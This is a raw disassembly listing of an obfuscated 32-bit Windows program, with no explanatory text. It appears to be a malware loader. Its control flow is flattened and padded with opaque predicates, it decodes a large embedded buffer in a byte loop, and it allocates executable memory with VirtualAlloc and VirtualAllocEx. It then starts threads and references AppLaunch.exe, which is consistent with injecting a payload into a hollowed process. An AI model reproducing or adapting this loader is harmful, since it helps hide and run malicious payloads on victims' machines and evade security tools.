mov dword [ebp - 0x4c024], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c08c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c090], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c050], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c054], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x4c074], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c060], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x4c098], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c094], eax
push 0x4c000
push 0x457218
lea eax, [ebp - 0x4c010]
push eax
vzeroupper
call fcn.0043b590
add esp, 0xc
mov eax, 0x3dea3245
nop word cs:[eax + eax]
cmp eax, 0x3dea3245
je 0x404363
cmp eax, 0x9249508f
jne 0x404350
jmp 0x405a20
mov eax, 0x9249508f
jmp 0x404350
mov eax, dword [ebp - 0x4c0e8]
mov eax, dword [eax + 0x14]
add eax, dword [ebp - 0x4c0a0]
mov ecx, dword [ebp - 0x4c02c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c034]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x4c0e0]
vzeroupper
call fcn.0043b590
add esp, 0xc
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x13b8ed0
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x47404d88
jmp 0x40529c
mov eax, 0x97beea2b
jmp 0x401800
mov eax, dword [ebp - 0x4c070]
mov eax, dword [0x4b03e8]
mov esi, 0x720eeb68
mov ebx, 0x72f28d5e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x72f28d5e
jmp 0x4054fe
movzx eax, word [ebp - 0x4c0a6]
mov ebx, 0x3e9917e1
mov esi, 0x38f1c3d
not eax
or eax, 0xcfff
cmp ax, 0xffff
mov eax, dword [0x4b03e8]
setne byte [ebp - 0x4c07d]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x38f1c3d
jmp 0x4017e3
mov eax, dword [ebp - 0x4c068]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x4c170], eax
mov eax, 0x723608c4
jmp 0x401800
mov eax, dword [ebp - 0x4c030]
mov dword [ebp - 0x4c028], 0xd
mov eax, 0x965ace57
jmp 0x401800
mov eax, 0xf831e794
jmp 0x401800
mov eax, 0x155da367
jmp 0x401800
mov eax, dword [ebp - 0x4c034]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x4c140], eax
mov eax, 0x60558f61
jmp 0x401800
push 0x40
push 0x3000
push dword [ebp - 0x4c134]
push 0
push dword [ebp - 0x4c138]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x4c0cc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c0cc]
mov eax, 0x43cf71af
jmp 0x401800
mov eax, 0xe34d6ffa
jmp 0x401800
mov eax, dword [ebp - 0x4c0f8]
mov ecx, dword [ebp - 0x4c040]
mov ebx, 0x86381346
mov esi, 0x69d58318
add eax, 2
mov dword [ecx], eax
mov eax, dword [0x4b03e8]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x69d58318
jmp 0x4017db
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xbd736c2e
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf4bd4a4c
jmp 0x40544f
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x756814f9
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x63a50bae
jmp 0x40544f
mov eax, 0xa687cacc
jmp 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0xa22ba9e
mov esi, 0x52eb8ecc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x52eb8ecc
jmp 0x4017db
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xfb5392d8
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x267d1f32
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x4c070]
cmovge ecx, edx
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x4c100], eax
mov eax, dword [ebp - 0x4c044]
mov eax, dword [eax]
mov dword [ebp - 0x4c104], eax
mov eax, ecx
jmp 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0xf25f21b8
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xede8235e
jmp 0x40512c
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x6d9204c6
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x448bd557
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c0ac]
cmovge eax, edx
jmp 0x401800
cmp byte [ebp - 0x4c07d], 0
mov eax, 0xb3eb5757
mov ecx, 0x9ec51d47
cmovne eax, ecx
jmp 0x401800
mov eax, dword [ebp - 0x4c064]
mov eax, dword [ebp - 0x4c058]
mov eax, 0x77d16737
jmp 0x401800
mov eax, 0xdd971a6a
jmp 0x401800
mov eax, dword [ebp - 0x4c10c]
mov ecx, dword [ebp - 0x4c108]
mov ebx, 0xf8be293e
mov esi, 0x63a50bae
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c04c]
mov eax, dword [ebp - 0x4c070]
mov eax, dword [0x4b03e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x63a50bae
jmp 0x4017e3
mov eax, dword [ebp - 0x4c038]
mov ecx, dword [ebp - 0x4c110]
mov esi, 0x98664766
mov dword [eax], ecx
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x374558e4
jmp 0x4058ab
mov eax, dword [ebp - 0x4c094]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x4c094]
mov dword [ebp - 0x4c0c8], 0
mov dword [ebp - 0x4c028], 1
mov eax, 0xe8c66677
jmp 0x401800
mov eax, dword [ebp - 0x4c0c4]
vmovups ymm0, ymmword [0x4a3270]
vmovups ymm1, ymmword [0x4a3258]
vmovups ymm2, ymmword [0x4a3238]
mov esi, 0xf76b0775
mov ebx, 0xa67eb555
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x4c090]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c050]
mov eax, dword [ebp - 0x4c090]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4c050]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c08c]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c050]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x4c054]
mov eax, dword [ebp - 0x4c050]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c054]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c074]
mov eax, dword [ebp - 0x4c074]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x4c060]
cmp dword [edi + 0xe8], 0
mov eax, dword [ebp - 0x4c060]
setne byte [eax]
mov eax, dword [ebp - 0x4c098]
mov eax, dword [ebp - 0x4c060]
cmp byte [eax], 0
mov eax, dword [0x4b03e8]
lea ecx, [eax + 1]
setne byte [ebp - 0x4c086]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa67eb555
jmp 0x4054fe
mov eax, 0xa1fd7a13
jmp 0x401800
mov eax, 0x53c0ed0c
jmp 0x401800
mov eax, dword [ebp - 0x4c024]
mov eax, dword [eax]
mov dword [ebp - 0x4c0c0], eax
mov eax, 0x5d471593
jmp 0x401800
mov eax, dword [ebp - 0x4c020]
mov esi, 0xc39e91cb
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c020]
inc eax
mov dword [ecx], eax
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xbb51f12c
jmp 0x40544f
mov eax, dword [ebp - 0x4c0ac]
mov eax, 0x5e9d59d6
jmp 0x401800
mov eax, dword [ebp - 0x4c0b4]
mov eax, dword [eax]
mov dword [ebp - 0x4c0f4], eax
mov eax, 0x78a302ec
jmp 0x401800
mov eax, dword [ebp - 0x4c020]
mov eax, 0x19c5ae0b
jmp 0x401800
mov eax, dword [edi + 0x34]
mov dword [ebp - 0x4c0d4], eax
mov eax, 0x86f98f07
jmp 0x401800
lea edx, [ebp - 0x4c010]
mov dword [ebp - 0x4c014], 0x4c000
mov dword [ebp - 0x4c018], edx
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x4c014]
mov edi, dword [ebp - 0x4c018]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x40495b
mov edi, dword [ebp - 0x4bfd4]
mov eax, 0x4ed01ca5
add edi, edx
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x2fd516ef
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf3b800fd
jmp 0x40544f
mov eax, dword [0x4b03e8]
mov esi, 0x3be47bb3
mov ebx, 0x360de795
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x360de795
jmp 0x4054f6
mov eax, dword [ebp - 0x4c024]
mov ebx, 0xcd81ef2d
mov esi, 0x1be66918
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xdfffffff
and ecx, eax
mov eax, dword [0x4b03e8]
mov dword [ebp - 0x4c190], ecx
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x1be66918
jmp 0x4017db
mov eax, 0x65d3cc34
jmp 0x401800
mov eax, dword [ebp - 0x4c044]
mov eax, dword [ebp - 0x4c0b8]
mov eax, dword [ebp - 0x4c028]
mov dword [ebp - 0x4c18c], eax
mov eax, 0x6c800d2e
jmp 0x401800
push eax
push eax
mov eax, esp
mov dword [ebp - 0x4c058], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c01c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0cc], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c02c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c034], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0ac], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c05c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c064], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0b0], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0b4], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c040], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c068], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c06c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c038], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0b8], eax
mov eax, 0xc163ab12
jmp 0x401800
mov eax, dword [ebp - 0x4c024]
mov eax, 0xf2b77e13
jmp 0x401800
mov eax, 0x839b3f38
mov dword [ebp - 0x4c028], 5
jmp 0x401800
mov eax, dword [ebp - 0x4c020]
mov ebx, 0x4fcc34ef
mov esi, 0x89d1b6f9
mov eax, dword [eax]
mov dword [ebp - 0x4c114], eax
movzx eax, word [edi + 6]
mov word [ebp - 0x4c0a8], ax
mov eax, dword [0x4b03e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x89d1b6f9
jmp 0x4017e3
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
sub eax, dword [edi + 0x34]
mov ecx, dword [ebp - 0x4c0ac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov dword [ebp - 0x4c14c], eax
mov eax, 0x701440f1
jmp 0x401800
mov eax, 0x22a27911
jmp 0x401800
mov eax, dword [ebp - 0x4c18c]
mov ecx, 0x4ca1aa8e
cmp eax, 0xc
mov eax, 0x54621636
cmove eax, ecx
jmp 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0xf6975d19
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa04ff11e
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c068]
cmovge eax, edx
jmp 0x401800
mov eax, 0x515f9239
mov dword [ebp - 0x4c0c8], 1
jmp 0x401800
mov eax, dword [ebp - 0x4c1a0]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x4c19c]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4c094]
mov dword [ecx], eax
mov ecx, 0xe4960069
mov eax, dword [ebp - 0x4c060]
cmp byte [eax], 0
mov eax, 0xd2c5a129
cmove eax, ecx
jmp 0x401800
mov eax, 0xa2a63ae1
jmp 0x401800
mov eax, dword [ebp - 0x4c038]
mov ecx, dword [ebp - 0x4c110]
mov dword [eax], ecx
mov eax, 0x762d481e
jmp 0x401800
mov eax, dword [ebp - 0x4c068]
mov eax, 0xe70a5568
jmp 0x401800
mov eax, 0xeff1feb8
jmp 0x401800
mov eax, dword [0x4b03e8]
mov esi, 0x7d3b5767
mov ebx, 0xa04ff11e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa04ff11e
jmp 0x4054fe
mov eax, dword [ebp - 0x4c01c]
mov esi, 0x5dac7079
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c048]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c030]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x4c070]
mov dword [ecx], eax
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
lea ecx, [edx + 1]
imul ecx, edx
mov ebx, ecx
xor ebx, 0xfffffffe
test ebx, ecx
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x72f28d5e
cmovne edx, esi
test ebx, ecx
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x4c04c]
mov eax, dword [ebp - 0x4c048]
mov eax, dword [eax]
mov ebx, dword [ebp - 0x4c030]
mov ebx, dword [ebx]
movzx eax, word [eax + ebx*4]
mov dword [ebp - 0x4c188], eax
jmp 0x40545d
mov eax, dword [ebp - 0x4c068]
mov ecx, dword [ebp - 0x4c170]
mov dword [eax], ecx
mov eax, 0x680f9edc
jmp 0x401800
mov eax, 0xbfe02b01
jmp 0x401800
mov eax, dword [0x4b03e8]
mov esi, 0x4bb21431
mov ebx, 0xf4bd4a4c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf4bd4a4c
jmp 0x4054fe
mov eax, dword [ebp - 0x4c120]
mov ecx, dword [ebp - 0x4c058]
vmovsd xmm0, qword [eax + 0x28]
vmovsd qword [ecx], xmm0
mov ecx, 0x89fda0a9
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x4c124], eax
mov eax, dword [ebp - 0x4c058]
cmp dword [eax + 4], 0
mov eax, 0x33741abd
cmove eax, ecx
jmp 0x401800
mov eax, dword [ebp - 0x4c038]
mov eax, 0xd08e6a65
jmp 0x401800
mov eax, 0xe4960069
jmp 0x401800
mov eax, 0xeb77d491
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x9a994ac5
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x29761d0a
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, esi
mov eax, ecx
jmp 0x401800
mov eax, dword [ebp - 0x4c0c0]
mov eax, dword [ebp - 0x4c0c0]
mov eax, dword [ebp - 0x4c0c0]
mov eax, 0xa22ba9e
jmp 0x401800
cmp byte [ebp - 0x4c07c], 0
mov eax, 0x9a301044
mov ecx, 0xf8e22151
cmovne eax, ecx
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xf2b77e13
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xa78755ce
jmp 0x4058ab
mov eax, dword [ebp - 0x4c030]
mov dword [eax], 0
mov eax, 0xd0c1182b
jmp 0x401800
mov eax, 0x355df4d2
jmp 0x401800
mov eax, dword [ebp - 0x4c0e4]
mov eax, dword [ebp - 0x4c02c]
mov eax, dword [ebp - 0x4c034]
mov eax, 0xf25f21b8
jmp 0x401800
mov ecx, dword [ebp - 0x4c128]
mov eax, 0xc404eece
mov dword [ebp - 0x4c0d0], ecx
jmp 0x401800
mov eax, dword [ebp - 0x4c158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c0b4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c040]
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [eax]
mov dword [ebp - 0x4c15c], eax
mov eax, 0xebd766a1
jmp 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0x44af78b9
mov esi, 0x133e759d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x133e759d
jmp 0x4017db
cmp byte [ebp - 0x4c080], 0
mov eax, 0xb1b8040d
mov ecx, 0x2f1efacf
cmovne eax, ecx
jmp 0x401800
mov eax, dword [ebp - 0x4c040]
mov eax, dword [eax]
mov dword [ebp - 0x4c0f8], eax
mov eax, 0xbfeb8afa
jmp 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0x8e5dd086
mov esi, 0x47404d88
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x47404d88
jmp 0x4017db
mov eax, dword [ebp - 0x4c024]
mov ecx, 0x40000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x4c118], eax
mov eax, 0x683a65e8
jmp 0x401800
mov eax, 0xbe86dbd0
jmp 0x401800
mov eax, dword [ebp - 0x4c044]
mov ecx, dword [ebp - 0x4c0fc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c044]
mov eax, 0xcebc1183
jmp 0x401800
mov eax, dword [ebp - 0x4c048]
mov dword [ebp - 0x4c028], 0
mov eax, 0x74600abc
jmp 0x401800
mov eax, dword [ebp - 0x4c034]
mov ecx, dword [ebp - 0x4c140]
mov dword [eax], ecx
mov eax, 0x2b54c08
jmp 0x401800
mov eax, 0xf6975d19
jmp 0x401800
mov eax, 0x65499ac0
jmp 0x401800
movzx eax, word [ebp - 0x4c0a8]
mov ecx, dword [ebp - 0x4c114]
mov ebx, 0x952aefcc
mov esi, 0x2ed3316c
cmp ecx, eax
mov eax, dword [0x4b03e8]
setl byte [ebp - 0x4c081]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2ed3316c
jmp 0x4017db
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov dword [ebp - 0x4c13c], eax
mov eax, 0xb424a3ff
jmp 0x401800
mov eax, 0x8e39d405
jmp 0x401800
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [eax]
mov dword [ebp - 0x4c174], eax
mov eax, 0x10e3bf18
jmp 0x401800
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov dword [ebp - 0x4c12c], eax
lea eax, [edi + 0x18]
mov dword [ebp - 0x4c130], eax
mov eax, 0x6a3bc9fe
jmp 0x401800
mov eax, 0x1d80105a
jmp 0x401800
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [0x4b03e8]
mov esi, 0xff62e26e
mov ebx, 0xb9b2c593
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb9b2c593
jmp 0x4054f6
mov eax, dword [0x4b03e8]
mov esi, 0x762d481e
mov ebx, 0x374558e4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x374558e4
jmp 0x4054f6
push 4
push 0x3000
push dword [ebp - 0x4c124]
push dword [ebp - 0x4c0d0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x4c01c]
mov dword [ecx], eax
mov ecx, 0x7bf6933f
mov eax, dword [ebp - 0x4c058]
cmp dword [eax + 4], 0
mov eax, 0x43cf71af
cmove eax, ecx
jmp 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x40c1824d
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x133e759d
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x401800
mov eax, dword [ebp - 0x4c0a4]
mov eax, dword [ebp - 0x4c0a4]
mov eax, dword [ebp - 0x4c0a4]
mov eax, dword [ebp - 0x4c0a4]
mov eax, 0x1f67e33c
jmp 0x401800
mov eax, dword [ebp - 0x4c070]
mov eax, dword [ebp - 0x4c044]
mov eax, 0x9acd4a68
jmp 0x401800
mov eax, dword [ebp - 0x4c0b0]
mov eax, dword [eax]
mov dword [ebp - 0x4c168], eax
mov eax, dword [ebp - 0x4c040]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x4c16c], eax
mov eax, 0xe98ecb47
jmp 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0x801e4a61
mov esi, 0x21b645ba
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x21b645ba
jmp 0x4017db
mov eax, dword [ebp - 0x4c020]
mov dword [eax], 0
mov eax, 0xcde977f6
jmp 0x401800
mov eax, 0x44af78b9
jmp 0x401800
mov eax, 0x3b76fd93
jmp 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0x26d46052
mov esi, 0xb9d27255
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xb9d27255
jmp 0x4017db
mov eax, dword [ebp - 0x4c020]
mov eax, dword [0x4b03e8]
mov esi, 0x47fbe5d7
mov ebx, 0xcf96876a
mov dword [ebp - 0x4c028], 0x10
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xcf96876a
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4b03e4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, esi
jmp 0x401800
mov dword [ebp - 0x4c0d0], 0
mov eax, 0xc404eece
jmp 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x2fb43cf5
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x38f1c3d
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401800
mov eax, dword [ebp - 0x4c130]
mov ecx, dword [ebp - 0x4c12c]
cmp ecx, dword [eax + 0x1c]
mov eax, 0xbdcf170f
setne byte [ebp - 0x4c07a]
jmp 0x401800
mov eax, dword [0x4b03e8]
mov esi, 0xecef0322
mov ebx, 0xa2f91439
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xa2f91439
jmp 0x4054f6
movzx eax, word [ebp - 0x4c0a6]
mov eax, 0x2fb43cf5
jmp 0x401800
mov eax, dword [ebp - 0x4c118]
mov eax, 0x9e9b563e
jmp 0x401800
cmp byte [ebp - 0x4c07e], 0
mov eax, 0x303455d3
mov ecx, 0x415a2596
cmovne eax, ecx
jmp 0x401800
mov eax, dword [ebp - 0x4c180]
mov ecx, dword [ebp - 0x4c184]
lea ecx, [ecx + ecx*4]
cmp dword [eax + ecx*4 + 0x10], 0
mov eax, 0xdf156f94
setne byte [ebp - 0x4c07e]
jmp 0x401800
mov eax, dword [ebp - 0x4c03c]
mov esi, 0x4b3bc212
mov dword [eax], 0x40
mov eax, dword [ebp - 0x4c024]
mov eax, dword [ebp - 0x4c02c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c020]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x4c024]
mov dword [ecx], eax
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xcc6c488
jmp 0x40544f
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xf0fdd1a5
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xcf2eb872
jmp 0x40544f
mov eax, 0xb228fcbb
jmp 0x401800
mov eax, dword [ebp - 0x4c024]
mov ecx, 0x20000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x4c198], eax
mov eax, 0x145194f9
jmp 0x401800
mov eax, 0xfd5d6f9d
jmp 0x401800
mov eax, 0x6f2d8c6f
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xa1576eaf
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x222bef7b
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401800
mov eax, 0x5887228b
mov dword [ebp - 0x4c028], 7
jmp 0x401800
mov eax, 0xeff1feb8
jmp 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0xb6d5d818
mov dword [ebp - 0x4c028], 1
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x67b939c3
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, esi
jmp 0x401800
mov eax, 0x65499ac0
jmp 0x401800
mov eax, dword [0x4b03e8]
mov esi, 0x21663a66
mov ebx, 0x69d58318
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x69d58318
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4b03e4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, esi
jmp 0x401800
mov eax, 0xae1ace3f
jmp 0x401800
mov eax, dword [ebp - 0x4c054]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c098]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x4c074]
mov ecx, dword [ebp - 0x4c054]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x4c074]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
